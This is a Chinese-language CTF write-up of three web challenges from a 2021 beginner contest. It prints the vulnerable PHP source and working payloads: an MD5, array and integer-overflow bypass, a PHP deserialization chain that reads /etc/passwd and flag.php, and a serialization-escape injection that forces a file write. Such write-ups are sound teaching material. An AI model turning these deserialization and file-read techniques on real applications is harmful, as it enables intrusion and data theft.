mengxinCTF-部分Writeup

mengxinCTF-部分Writeup


这波叫名不符实,WEB这难度叫萌新,纯纯劝退学弟学妹们了

WEB

2021.6.1萌新赛-easy_web

最开始没看提示,纯纯靠脑子猜,题目直接给了源码

 <?php
            $six_number = $_POST['webp'];
            $a = $_POST['a'];
            $b = $_POST['b'];
            $c = $_POST['c'];
            if (md5($six_number) == 'e10adc3949ba59abbe56e057f20f883e' && md5($a) === md5($b) && $a !== $b) {
                if($array[++$c]=1){
                    if($array[]=1){
                        echo "nonono";
                    }
                    else{
                        require_once 'flag.php';
                        echo $flag;
                    }
                }
            } 
        ?>

image_1f75vopejsrj4jb14ha15caqvg9.png-76.5kB

第一步利用md5爆破即可,明文为123456,第二步老生常谈,直接数组绕过,第三步和蓝帽杯的题目考点一样,整数溢出即可,最后payload:

webp=123456&a[]=1&b[]=2&c=9223372036854775806

image_1f7600b771ipim97c59dp51na816.png-286.6kB

给了我们一个密码,然后就没了,看源码,唯一可疑的就是这个图片了

image_1f7601go71bv5n05nno1dv018md1j.png-49.5kB

下载下来进行分析

image_1f7602q5m16jqetr1tmp1fgp3ol20.png-155.8kB

图片里面藏了一个压缩包,分离解压,输入密码即可获取到flag文件

image_1f7603p0v1cnpv8p1hvr1ci4q1r2d.png-152.3kB

2021.6.1萌新赛-weblog

访问题目直接给了源码

<?php
highlight_file(__FILE__);
error_reporting(0);
class B{
    public $logFile;
    public $initMsg;
    public $exitMsg;

    function __construct($file){
        // initialise variables
        $this->initMsg="#--session started--#\n";
        $this->exitMsg="#--session end--#\n";
        $this->logFile =  $file;
        readfile($this->logFile);

    }

    function log($msg){
        $fd=fopen($this->logFile,"a+");
        fwrite($fd,$msg."\n");
        fclose($fd);
    }

    function __destruct(){
        echo "this is destruct";
    }
}

class A {
    public $file = 'flag{xxxxxxxx}';
    public $weblogfile;

    function __construct() {
        echo $this->file;
    }

    function __wakeup(){
        // self::waf($this->filepath);
        $obj = new B($this->weblogfile);

    }

    public function waf($str){
        $str=preg_replace("/[<>*#'|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }

    function __destruct(){
        echo "this is destruct";
    }

}
class C {
    public $file;
    public $weblogfile;
}
class D{
    public $logFile;
    public $initMsg;
    public $exitMsg;
}

function is_serialized($data){

    $r = preg_match_all('/:\d*?:"/',$data,$m,PREG_OFFSET_CAPTURE);
    if(!empty($r)) {
        foreach($m[0] as $v){
            $a = intval($v[1])+strlen($v[0])+intval(substr($v[0],1));
            if($data[$a] !== '"')
                 return false;
        }
    }
    if(!is_string($data))
        return false;
    $data = trim($data);
    if('N;' === $data)
        return true;
    if(!preg_match('/^([adObis]):/',$data,$badions))
        return false;
    switch($badions[1]){
        case 'a':
        case 'O':
        case 's':
            if(preg_match( "/^{$badions[1]}:[0-9]+:.*[;}]\$/s", $data ) )
                return true;
            break;
        case 'b':
        case 'i':
        case 'd':
            if(preg_match("/^{$badions[1]}:[0-9.E-]+;\$/", $data))
                return true;
            break;
    }
    return false;

}
$log = $_GET['log'];
if(!is_serialized($log)){
    die('no1');
}
$log1 = preg_replace("/A/","C",$log);
$log2 = preg_replace("/B/","D",$log1);
if(!unserialize($log2)){
    die('no2');
}
$log = preg_replace("/[<>*#'|?\n ]/","",$log);
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);
?>

看一下大概源码,前半部分和津门杯power_cut非常像,不同的是在后面

image_1f760a8je1cmb1k6oh3e1d5ok2h2q.png-54.1kB

大题上与津门杯还是一样的,但是该题目多了检测和过滤,先看一下多出来的内容,多出的class C和class D主要用来替换class A和class B,is_serialized()函数主要用来检测序列化数据是否为正常数据,简而言之就是防止反序列化逃逸,在看一下如何正常读取文件内容

image_1f761in6lagi4f8ba31idm1gol37.png-42.1kB

通过class A中的__wakeup()调用class B中__construct(),然后利用readfile()函数进行文件读取

image_1f761la2v6idutb1r5m171p1tss3k.png-37.4kB

构造payload

<?php

class A {
    public $file = 'flag{xxxxxxxx}';
    public $weblogfile;
}

$data=new A();
$data->file="testest";
$data->weblogfile="/etc/passwd";

echo serialize($data);

## O:1:"A":2:{s:4:"file";s:7:"testest";s:10:"weblogfile";s:11:"/etc/passwd";}

image_1f761mhnuscjlf519d5ok7rcj41.png-172.7kB

成功读取文件,下一步就是读取flag文件,在当前目录下存在flag.php,但是题目中过滤flag,如果不存在序列化数据检测的话,我们是可以和津门杯的题目一样直接修改字符串长度绕过replace

O:1:"A":2:{s:4:"file";s:7:"testest";s:10:"weblogfile";s:7:"flflagag.php";}

但是在该题目中

image_1f7626riroqi17gu11l49361b6v5o.png-96.7kB

由于存在序列化数据检测,我们不能绕过。下面就需要思考新的方式进行绕过,这里可以看到,题目中存在两处反序列化,一处是将Class A、Class B进行替换后进行反序列化,另一处是层层过滤后进行反序列化,既然第二处我们没有办法就尝试在第一处反序列化进行数据触发,那么我们需要绕过的就是A被替换为C,这里有一个trick,序列化数据,class这里是不区分大小写的,我们将A写为a,数据同样会被反序列化,所以我们可以将payload修改为

O:1:"a":2:{s:4:"file";s:7:"testest";s:10:"weblogfile";s:8:"flag.php";}

这样既绕过了A的检测,也是正常的序列化数据,即可在第一处反序列化进行数据处理,执行payload,查看注释信息

image_1f762gtipoofbfg1fmf18skf4465.png-44kB

成功获取flag

2021.6.1萌新赛-weblogin

<?php
session_start();
error_reporting(0);
highlight_file(__FILE__);

class Action {

    public $data;
    public $username;
    public $password;
    public $datafile;
    public $act;

    function __construct($username,$password,$datafile,$act){
        $this->username = $username;
        $this->password = $password;
        $this->datafile = $datafile;
        $this->act = $act;
    }
    function check_login(){
        $file = $this->datafile.'.data';
        $data = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file)))->data;
        if (isset($data[$this->username])){
            if ($data[$this->username] === $this->password){
                $_SESSION['is_login'] = ture;
                $_SESSION['username'] = $this->username;
                echo '<script>alert("登录成功");window.location.href="/";</script>';
            }
            else{
                echo '<script>alert("密码错误");window.location.href="/index.php/login";</script>';
                die();
            }
        }
        else{
            echo '<script>alert("用户名错误");window.location.href="/index.php/login";</script>';
            die();
        }
    }
    function registerd(){
        $file = $this->datafile.'.data';
        if(!file_exists($file)){
            $p = new Action('','','','');
            $p->data = array();
            file_put_contents($file,enc(serialize($p)));
        }

        $p = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file)));
        $data = $p->data;
        if(isset($data[$this->username])){
            echo '<script>alert("该用户已注册");window.location.href="/index.php/register";</script>';
        } 
        else{
            $p = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file)));
            $p->data[$this->username] = $this->password;
            file_put_contents($file, enc(serialize($p)));
            echo '<script>alert("注册成功");window.location.href="/index.php/login";</script>';
        }
    }

    function __destruct(){
        if ($_SESSION['is_login']){
            echo '<script>alert("该用户已登录");window.location.href="/";</script>';
        }
        else{
            if ($this->act === 'login'){
                $this->check_login();
            }
            if ($this->act === 'register'){
                $this->registerd();
            }
        }
    }
}



class Delete{
    public $username;
    public $password;
    public $datafile;

    function __construct($datafile,$username,$password){
        $this->username = $username;
        $this->password = $password;
        $this->datafile = $datafile; 
    }

    function deleted(){
        $file = $this->datafile.'.data';
        if($this->username!==''&&$this->password!==''){
            $data = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file)))->data;
            if(!isset($data[$this->username])){
            echo '<script>alert("该用户不存在");window.location.href="/index.php/delete";</script>';
            }
            else{
                $p = unserialize(filter(file_get_contents('php://filter/read=convert.quoted-printable-decode/resource='.$file)));
                $data = $p->data;
                if ($data[$this->username] === $this->password){
                    unset($p->data[$this->username]);
                    file_put_contents($file,enc(serialize($p)));
                    echo '<script>alert("该用户注销成功");window.location.href="/index.php/delete";</script>';
                }
                else{
                    echo '<script>alert("密码错误");window.location.href="/index.php/delete";</script>';
                }
            } 
        }
        else {
            $p = new Action('','','','');
            $p->data = array();
            file_put_contents($file,enc(serialize($p)));
            echo '<script>alert("重置成功");window.location.href="/index.php/login";</script>';    
        }
    }

    function __destruct(){

        $this->deleted();
    }
}
class Logout{
    function __destruct(){
        unset($_SESSION['is_login']);
        echo '<script>alert("登出成功");window.location.href="/index.php/login";</script>';    
    }
}
function route($uri, Closure $_route)
{
    $pathInfo = $_SERVER['REQUEST_URI'] ?? '/';
    $pathInfo = preg_replace('/\?.*?$/is', '', $pathInfo);
    if (preg_match('#^' . $uri . '$#', $pathInfo, $matches)) {
        $_route($matches);
        exit(0);
    }
}
function enc($str){
    $_str = '';
    for($i=0;$i<strlen($str);$i++){
        if ($str[$i] !== '='){
            $_str = $_str.'='.dechex(ord($str[$i]));
        }else{
            $_str = $_str.$str[$i].$str[$i+1].$str[$i+2];
            $i = $i+2;
        }
    }
    return $_str;
}

function filter($str){
    return preg_replace('/o:/', 'O:', $str);

}

route('/index.php/login', function () {
    $username = $_POST['username']??'';
    $password = $_POST['password']??'';
    if($username&&$password){
        new Action($username,$password,'user_'.md5($_SERVER['REMOTE_ADDR']),'login');
    }
});

route('/index.php/register', function () {
    $username = $_POST['username']??'';
    $password = $_POST['password']??'';
    if($username&&$password){
        new Action($username,$password,'user_'.md5($_SERVER['REMOTE_ADDR']),'register');
    }
});

route('/index.php/logout', function () {
    new Logout();
});

route('/index.php/delete', function () {
    if(isset($_POST['username'])&&isset($_POST['password'])){
        new Delete('user_'.md5($_SERVER['REMOTE_ADDR']),$_POST['username'],$_POST['password']);
    }
});

route('/', function () {
    if (!$_SESSION['is_login']){
    echo '<script>alert("请先登录");window.location.href="/index.php/login";</script>';
    }
    echo '<h1>hello '.$_SESSION['username'].'</h1>';
});
route('/index.php/flag', function () {
    echo $_SERVER['REMOTE_ADDR'].'</br>';
    $flaag = 'flag'.md5($_SERVER['REMOTE_ADDR']);
    echo($flaag.'</br>');
    include('flag.php');
    $list = scandir('./');
        foreach ($list as $file) {
            if ($file ===  $flaag.'.data'){
                echo $flag;
            }
        }
});

代码量比较大,可以切分成几个函数单独分析

先列出主要路由

/ #网站根目录
/index.php/login #登陆页面
/index.php/register #注册页面
/index.php/lougot #退出登陆页面
/index.php/delete #删除用户页面
/index.php/flag #获取flag页面

既然是获取flag,那就逆推一下,详细查看一下获取flag的条件

image_1f763lfi31te0193s1m731dpnhdr6i.png-51.7kB

首先题目讲我们的ip加密后拼接flag赋值给$flagg,当该目录下存在同样名称的文件时,题目会给我们输出flag,所以我们需要在同目录下生成flagmd5(ip).data文件,理清思路之后 ,看一下这几个页面主要调用的函数和类

跟一下register页面

image_1f78ka16jl82n9s13pao0vd93m.png-46.1kB

我们注册的用户名和密码以及其他数据传输给Action类

image_1f78kc6rks93vc71u91up41g213.png-129.6kB

在registerd函数中进行处理,首先通过file_put_contents()函数在同目录下生成user_md5(ip).data文件,同时将明文传输的数据通过序列化后,经过enc()函数存储进该文件中,其他的几个函数大概功能都类似,主要将我们的数据进行序列化后,进行编码后,经过数据流进行存储,取出的流程就是解码后进行反序列化。

那么大概的漏洞点就在于我们能否将数据进行序列化存储后,再次反序列化时进行触发,从而调用file_put_contents()函数去写入到指定文件中,那么二次触发的方法,就是让反序列化时,解析与在序列化前不同的内容,唯一的方法就是反序列化逃逸了,那么下一步就是确认一下反序列化逃逸的方式,这里可以看一下函数的加密方式

function enc($str){
    $_str = '';
    for($i=0;$i<strlen($str);$i++){
        if ($str[$i] !== '='){
            $_str = $_str.'='.dechex(ord($str[$i]));
        }else{
            $_str = $_str.$str[$i].$str[$i+1].$str[$i+2];
            $i = $i+2;
        }
    }
    return $_str;
}

以及取出数据流的传输方式

php://filter/read=convert.quoted-printable-decode/resource=

这里根据fuzz的话可以发现我们传输”=27″的话,数据会被解码存储为”‘”,这样的话,我们存储的序列化数据 就从字符长度3变为字符长度1,产生了反序列化逃逸漏洞

image_1f7g09t9h5501mdeq6u1vq6dqr9.png-28.9kB

传输:

username==27

image_1f7g0afpu1ec212vq1un21gc9hem.png-37.3kB

我们将在data文件中的数据进行解码查看,发现变为”‘”,证明存在反序列化逃逸,我们可以根据该点进行构造,让文件在进行反序列化时执行我们恶意构造的数据,那么我们需要理清一下攻击思路,我们需要让题目触发的:

<?php

class Action {
public $data = array('aaa'=>'bbb');
public $username = '';
public $password = '';
public $datafile = 'flag7d384307ab87d08c7eafc17142e79f8b';
public $act = 'register';
}
$a=new Action();
echo serialize($a);

#O:6:"Action":5:{s:4:"data";a:1:{s:3:"aaa";s:3:"bbb";}s:8:"username";s:0:"";s:8:"password";s:0:"";s:8:"datafile";s:36:"flag7d384307ab87d08c7eafc17142e79f8b";s:3:"act";s:8:"register";}

通过register函数中的file_put_contents()函数生成指定的flag7d384307ab87d08c7eafc17142e79f8b.data文件,剩下的就是构造反序列化逃逸,首先确定需要在username处进行逃逸,在password处进行数据构造,查看一下正常生成的序列化数据

O:6:"Action":5:{s:4:"data";a:1:{s:3:"'";s:3:"123";}s:8:"username";s:0:"";s:228:"password";s:0:"";s:8:"datafile";s:0:"";s:3:"act";s:0:"";}

我们需要让题目将
“`”;s:3:“`当作字符串进行处理,这样就可以将我们传输的passwrod数据作为序列化数据进行反序列化数据进行处理,同时如果我们在password处传输构造的序列化数据时,我们字符串长度应该为3位数,所以我们需要逃逸的字符串总字数为8个,那么我们在username处需要输入的数据为“`=27=27=27=27“`,我们需要在password处传输的数据为:

;s:3:"aaa";}s:8:"username";s:0:"";s:8:"password";O:6:"Action":5:{s:4:"data";a:1:{s:3:"aaa";s:3:"bbb";}s:8:"username";s:0:"";s:8:"password";s:0:"";s:8:"datafile";s:36:"flag7a42d87cb0ee180e254b5b3060b69123";s:3:"act";s:8:"register";}s:8:"datafile";s:0:"";s:3:"act";s:0:"";}

这里payload的具体意思,__destruct()函数会将我们的序列化数据中的完整类在反序列化时进行解析,前提是整个序列化数据类数目不存在问题,可以看一个简单的例子

image_1f7g57d3014ge1688o0b1dq11p6713.png-177.4kB

正常反序列化时输出123,在序列化数据中不破坏类数目的情况下再次写入一个完整的数据

image_1f7g5ackt6p11q1c66c1bs718q11g.png-236.2kB

成功解析第二条序列化数据,那么题目中的思路相同,我们将此payload写入之后,data文件中内容,解码为

O:6:"Action":5:{s:4:"data";a:1:{s:12:"''''";s:271:";s:3:"123";}s:8:"username";s:0:"";s:8:"password";O:6:"Action":5:{s:4:"data";a:1:{s:3:"aaa";s:3:"bbb";}s:8:"username";s:0:"";s:8:"password";s:0:"";s:8:"datafile";s:36:"flag7d384307ab87d08c7eafc17142e79f8b";s:3:"act";s:8:"register";}s:8:"datafile";s:0:"";s:3:"act";s:0:"";}";}s:8:"username";s:0:"";s:8:"password";s:0:"";s:8:"datafile";s:0:"";s:3:"act";s:0:"";}

第一个Action类数目为5,所以我们在写入完整序列化数据后面又添加了两个类别,这样我们的第二个序列化数据也得以完整运行。所以我们最后的解题:在register处传入payload:

username==27=27=27=27&password=;s:3:"aaa";}s:8:"username";s:0:"";s:8:"password";O:6:"Action":5:{s:4:"data";a:1:{s:3:"aaa";s:3:"bbb";}s:8:"username";s:0:"";s:8:"password";s:0:"";s:8:"datafile";s:36:"flag7d384307ab87d08c7eafc17142e79f8b";s:3:"act";s:8:"register";}s:8:"datafile";s:0:"";s:3:"act";s:0:"";}

在login处进行触发,成功生成文件

image_1f7g5p8td1ed2qssnk81r0a125r1t.png-40kB

访问flag接口,成功获取flag

image_1f7g5r40lfov1rrc1g1i1ie7166g2a.png-49.2kB


发表评论

邮箱地址不会被公开。 必填项已用*标注